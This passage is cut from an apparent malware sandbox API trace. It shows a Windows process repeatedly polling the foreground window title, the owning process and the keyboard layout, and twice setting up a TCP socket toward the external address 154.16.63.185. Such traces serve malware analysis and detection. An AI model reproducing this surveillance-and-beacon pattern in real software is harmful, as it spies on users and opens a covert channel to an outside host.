lpString="Spec Mls Apartments") returned 19 [0210.845] GetForegroundWindow () returned 0x101a2 [0210.845] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0210.907] GetForegroundWindow () returned 0x100f6 [0210.907] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568 [0210.907] EnumProcesses (in: lpidProcess=0x23cc6b8, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x23cc6b8, lpcbNeeded=0x562f77c) returned 1 [0210.908] GetLastError () returned 0x3e5 [0210.908] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3401f10, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3401f10, ResultLength=0x562f740*=0x8ba8) returned 0x0 [0210.911] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0210.911] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10 [0210.969] GetForegroundWindow () returned 0x101a2 [0210.970] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760 [0210.970] EnumProcesses (in: lpidProcess=0x23ddb20, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x23ddb20, lpcbNeeded=0x562f77c) returned 1 [0210.970] GetLastError () returned 0x3e5 [0210.971] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3421f30, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3421f30, ResultLength=0x562f740*=0x8ba8) returned 0x0 [0210.974] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0210.974] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0211.032] GetForegroundWindow () returned 0x101a2 [0211.032] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0211.095] GetForegroundWindow () returned 0x101a2 [0211.095] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0211.157] GetForegroundWindow () returned 0x101a2 [0211.157] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0211.219] GetForegroundWindow () returned 0x100f6 [0211.219] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568 [0211.219] EnumProcesses (in: lpidProcess=0x23ef790, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x23ef790, lpcbNeeded=0x562f77c) returned 1 [0211.219] GetLastError () returned 0x3e5 [0211.220] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3441f50, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3441f50, ResultLength=0x562f740*=0x8ba8) returned 0x0 [0211.223] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0211.223] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10 [0211.282] GetForegroundWindow () returned 0x101a2 [0211.282] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760 [0211.282] EnumProcesses (in: lpidProcess=0x2400c4c, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x2400c4c, lpcbNeeded=0x562f77c) returned 1 [0211.282] GetLastError () returned 0x3e5 [0211.283] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3461f70, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3461f70, ResultLength=0x562f740*=0x8ba8) returned 0x0 [0211.286] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0211.286] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0211.344] GetForegroundWindow () returned 0x101a2 [0211.344] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0211.408] GetForegroundWindow () returned 0x101a2 [0211.408] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0211.469] GetForegroundWindow () returned 0x101a2 [0211.469] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0211.531] GetForegroundWindow () returned 0x100f6 [0211.531] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568 [0211.531] EnumProcesses (in: lpidProcess=0x24128bc, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24128bc, lpcbNeeded=0x562f77c) returned 1 [0211.532] GetLastError () returned 0x3e5 [0211.532] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3482f90, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3482f90, ResultLength=0x562f740*=0x8ba8) returned 0x0 [0211.535] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0211.535] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10 [0211.594] GetForegroundWindow () returned 0x101a2 [0211.594] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760 [0211.594] EnumProcesses (in: lpidProcess=0x2423d24, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x2423d24, lpcbNeeded=0x562f77c) returned 1 [0211.594] GetLastError () returned 0x3e5 [0211.594] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34a2fb0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x34a2fb0, ResultLength=0x562f740*=0x8ba8) returned 0x0 [0211.597] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0211.597] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0211.656] GetForegroundWindow () returned 0x101a2 [0211.656] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0215.696] inet_addr (cp="154.16.63.185") returned 0xb93f109a [0215.697] GetLastError () returned 0x3e5 [0215.697] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x2ec [0215.697] GetLastError () returned 0x0 [0215.697] setsockopt (s=0x2ec, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0215.697] GetLastError () returned 0x0 [0215.698] bind (s=0x2ec, addr=0x2468ef4*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0 [0215.698] GetLastError () returned 0x0 [0215.728] GetForegroundWindow () returned 0x101a2 [0215.728] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0215.793] GetForegroundWindow () returned 0x101a2 [0215.793] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0215.852] GetForegroundWindow () returned 0x100f6 [0215.852] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568 [0215.853] EnumProcesses (in: lpidProcess=0x2469524, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x2469524, lpcbNeeded=0x562f77c) returned 1 [0215.853] GetLastError () returned 0x3e5 [0215.853] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3523030, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3523030, ResultLength=0x562f740*=0x8b68) returned 0x0 [0215.857] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0215.857] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10 [0215.915] GetForegroundWindow () returned 0x101a2 [0215.915] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760 [0215.915] EnumProcesses (in: lpidProcess=0x247a920, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x247a920, lpcbNeeded=0x562f77c) returned 1 [0215.915] GetLastError () returned 0x3e5 [0215.915] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3543050, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3543050, ResultLength=0x562f740*=0x8b68) returned 0x0 [0215.919] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0215.919] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0215.977] GetForegroundWindow () returned 0x101a2 [0215.977] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0216.040] GetForegroundWindow () returned 0x101a2 [0216.040] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0216.102] GetForegroundWindow () returned 0x101a2 [0216.102] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0216.164] GetForegroundWindow () returned 0x100f6 [0216.164] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568 [0216.164] EnumProcesses (in: lpidProcess=0x248c524, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x248c524, lpcbNeeded=0x562f77c) returned 1 [0216.165] GetLastError () returned 0x3e5 [0216.165] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3563070, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3563070, ResultLength=0x562f740*=0x8b68) returned 0x0 [0216.168] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0216.168] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10 [0216.227] GetForegroundWindow () returned 0x101a2 [0216.227] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760 [0216.227] EnumProcesses (in: lpidProcess=0x249d920, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x249d920, lpcbNeeded=0x562f77c) returned 1 [0216.228] GetLastError () returned 0x3e5 [0216.229] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3583090, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3583090, ResultLength=0x562f740*=0x8b68) returned 0x0 [0216.237] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0216.237] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0216.295] GetForegroundWindow () returned 0x101a2 [0216.295] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0216.352] GetForegroundWindow () returned 0x101a2 [0216.352] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0216.414] GetForegroundWindow () returned 0x101a2 [0216.414] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0216.476] GetForegroundWindow () returned 0x100f6 [0216.477] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568 [0216.477] EnumProcesses (in: lpidProcess=0x24af578, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24af578, lpcbNeeded=0x562f77c) returned 1 [0216.477] GetLastError () returned 0x3e5 [0216.477] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35a30b0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x35a30b0, ResultLength=0x562f740*=0x8b28) returned 0x0 [0216.481] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0216.481] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10 [0216.539] GetForegroundWindow () returned 0x101a2 [0216.539] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760 [0216.539] EnumProcesses (in: lpidProcess=0x24c0908, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24c0908, lpcbNeeded=0x562f77c) returned 1 [0216.540] GetLastError () returned 0x3e5 [0216.540] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35c30d0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x35c30d0, ResultLength=0x562f740*=0x8b28) returned 0x0 [0216.547] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0216.547] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0216.601] GetForegroundWindow () returned 0x101a2 [0216.602] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0216.664] GetForegroundWindow () returned 0x101a2 [0216.664] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0216.726] GetForegroundWindow () returned 0x101a2 [0216.726] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0216.788] GetForegroundWindow () returned 0x100f6 [0216.789] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568 [0216.789] EnumProcesses (in: lpidProcess=0x24d24a0, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24d24a0, lpcbNeeded=0x562f77c) returned 1 [0216.789] GetLastError () returned 0x3e5 [0216.789] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35e30f0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x35e30f0, ResultLength=0x562f740*=0x8b28) returned 0x0 [0216.793] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0216.793] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10 [0216.851] GetForegroundWindow () returned 0x101a2 [0216.851] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760 [0216.851] EnumProcesses (in: lpidProcess=0x24e3830, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24e3830, lpcbNeeded=0x562f77c) returned 1 [0216.852] GetLastError () returned 0x3e5 [0216.852] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3603110, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3603110, ResultLength=0x562f740*=0x8b28) returned 0x0 [0216.856] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0216.856] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0216.913] GetForegroundWindow () returned 0x101a2 [0216.913] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0216.976] GetForegroundWindow () returned 0x101a2 [0216.976] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0217.038] GetForegroundWindow () returned 0x101a2 [0217.038] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0217.101] GetForegroundWindow () returned 0x100f6 [0217.101] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568 [0217.101] EnumProcesses (in: lpidProcess=0x24f53c8, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24f53c8, lpcbNeeded=0x562f77c) returned 1 [0217.102] GetLastError () returned 0x3e5 [0217.102] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3623130, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3623130, ResultLength=0x562f740*=0x8b28) returned 0x0 [0217.106] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0217.106] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10 [0217.163] GetForegroundWindow () returned 0x101a2 [0217.163] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760 [0217.163] EnumProcesses (in: lpidProcess=0x2506758, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x2506758, lpcbNeeded=0x562f77c) returned 1 [0217.164] GetLastError () returned 0x3e5 [0217.180] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x32f3248, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x32f3248, ResultLength=0x562f740*=0x8b28) returned 0x0 [0217.188] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0217.189] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0217.241] GetForegroundWindow () returned 0x101a2 [0217.241] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0221.291] inet_addr (cp="154.16.63.185") returned 0xb93f109a [0221.291] GetLastError () returned 0x3e5 [0221.291] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x33c [0221.292] GetLastError () returned 0x0 [0221.292] setsockopt (s=0x33c, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0221.292] GetLastError () returned 0x0 [0221.292] bind (s=0x33c, addr=0x2396ab4*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0 [0221.292] GetLastError () returned 0x0 [0221.312] GetForegroundWindow () returned 0x101a2 [0221.312] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760 [0221.312] EnumProcesses (in: lpidProcess=0x2396b94, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x2396b94, lpcbNeeded=0x562f77c) returned 1 [0221.313] GetLastError () returned 0x3e5 [0221.314] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33a1eb0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x33a1eb0, ResultLength=0x562f740*=0x8ba8) returned 0x0 [0221.318] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0221.319] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0221.376] GetForegroundWindow () returned 0x101a2 [0221.376] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0221.437] GetForegroundWindow () returned 0x100f6 [0221.437] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568 [0221.437] EnumProcesses (in: lpidProcess=0x23a8308, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x23a8308, lpcbNeeded=0x562f77c) returned 1 [0221.438] GetLastError () returned 0x3e5 [0221.438] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33c1ed0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x33c1ed0, ResultLength=0x562f740*=0x8ba8) returned 0x0 [0221.442] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0221.442] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10 [0221.500] GetForegroundWindow () returned 0x101a2 [0221.500] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760 [0221.500] EnumProcesses (in: lpidProcess=0x23b9770, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x23b9770, lpcbNeeded=0x562f77c) returned 1 [0221.500] GetLastError () returned 0x3e5 [0221.501] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e1ef0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x33e1ef0, ResultLength=0x562f740*=0x8ba8) returned 0x0 [0221.507] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0221.507] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0221.562] GetForegroundWindow () returned 0x101a2 [0221.562] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0221.625] GetForegroundWindow () returned 0x101a2 [0221.625] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0221.687] GetForegroundWindow () returned 0x101a2 [0221.687] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0221.749] GetForegroundWindow () returned 0x100f6 [0221.749] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568 [0221.749] EnumProcesses (in: lpidProcess=0x23cb3e0, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x23cb3e0, lpcbNeeded=0x562f77c) returned 1 [0221.750] GetLastError () returned 0x3e5 [0221.751] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3401f10, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3401f10, ResultLength=0x562f740*=0x8ba8) returned 0x0 [0221.755] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0221.755] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10 [0221.812] GetForegroundWindow () returned 0x101a2 [0221.812] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760 [0221.812] EnumProcesses (in: lpidProcess=0x23dc848, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x23dc848, lpcbNeeded=0x562f77c) returned 1 [0221.812] GetLastError () returned 0x3e5 [0221.813] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3421f30, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3421f30, ResultLength=0x562f740*=0x8ba8) returned 0x0 [0221.818] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0221.818] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0221.874] GetForegroundWindow () returned 0x101a2 [0221.874] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0221.936] GetForegroundWindow () returned 0x101a2 [0221.936] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0221.999] GetForegroundWindow () returned 0x101a2 [0221.999] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0222.061] GetForegroundWindow () returned 0x100f6 [0222.061] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568 [0222.061] EnumProcesses (in: lpidProcess=0x23ee4b8, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x23ee4b8, lpcbNeeded=0x562f77c) returned 1 [0222.062] GetLastError () returned 0x3e5 [0222.063] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3441f50, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3441f50, ResultLength=0x562f740*=0x8ba8) returned 0x0 [0222.068] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0222.068] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10 [0222.124] GetForegroundWindow () returned 0x101a2 [0222.124] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760 [0222.124] EnumProcesses (in: lpidProcess=0x23ff920, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x23ff920, lpcbNeeded=0x562f77c) returned 1 [0222.125] GetLastError () returned 0x3e5 [0222.126] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3461f70, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3461f70, ResultLength=0x562f740*=0x8ba8) returned 0x0 [0222.131] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0222.131] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0222.186] GetForegroundWindow () returned 0x101a2 [0222.186] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0222.249] GetForegroundWindow () returned 0x101a2 [0222.249] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0222.311] GetForegroundWindow () returned 0x101a2 [0222.311] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0222.373] GetForegroundWindow () returned 0x100f6 [0222.373] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568 [0222.373] EnumProcesses (in: lpidProcess=0x2411590, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x2411590, lpcbNeeded=0x562f77c) returned 1 [0222.374] GetLastError () returned 0x3e5 [0222.374] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3482f90, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3482f90, ResultLength=0x562f740*=0x8b68) returned 0x0 [0222.378] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0222.378] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10 [0222.435] GetForegroundWindow () returned 0x101a2 [0222.436] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760 [0222.436] EnumProcesses (in: lpidProcess=0x24229e0, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24229e0, lpcbNeeded=0x562f77c) returned 1 [0222.436] GetLastError () returned 0x3e5 [0222.436] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34a2fb0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x34a2fb0, ResultLength=0x562f740*=0x8b68) returned 0x0 [0222.440] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0222.440] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0222.498] GetForegroundWindow () returned 0x101a2 [0222.498] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0222.560] GetForegroundWindow () returned 0x101a2 [0222.561] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0222.623] GetForegroundWindow () returned 0x101a2 [0222.623] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0222.685] GetForegroundWindow () returned 0x100f6 [0222.685] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568 [0222.685] EnumProcesses (in: lpidProcess=0x24345e4, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24345e4, lpcbNeeded=0x562f77c) returned 1 [0222.686] GetLastError () returned 0x3e5 [0222.686] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34c2fd0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x34c2fd0, ResultLength=0x562f740*=0x8b68) returned 0x0 [0222.690] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0222.690] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10 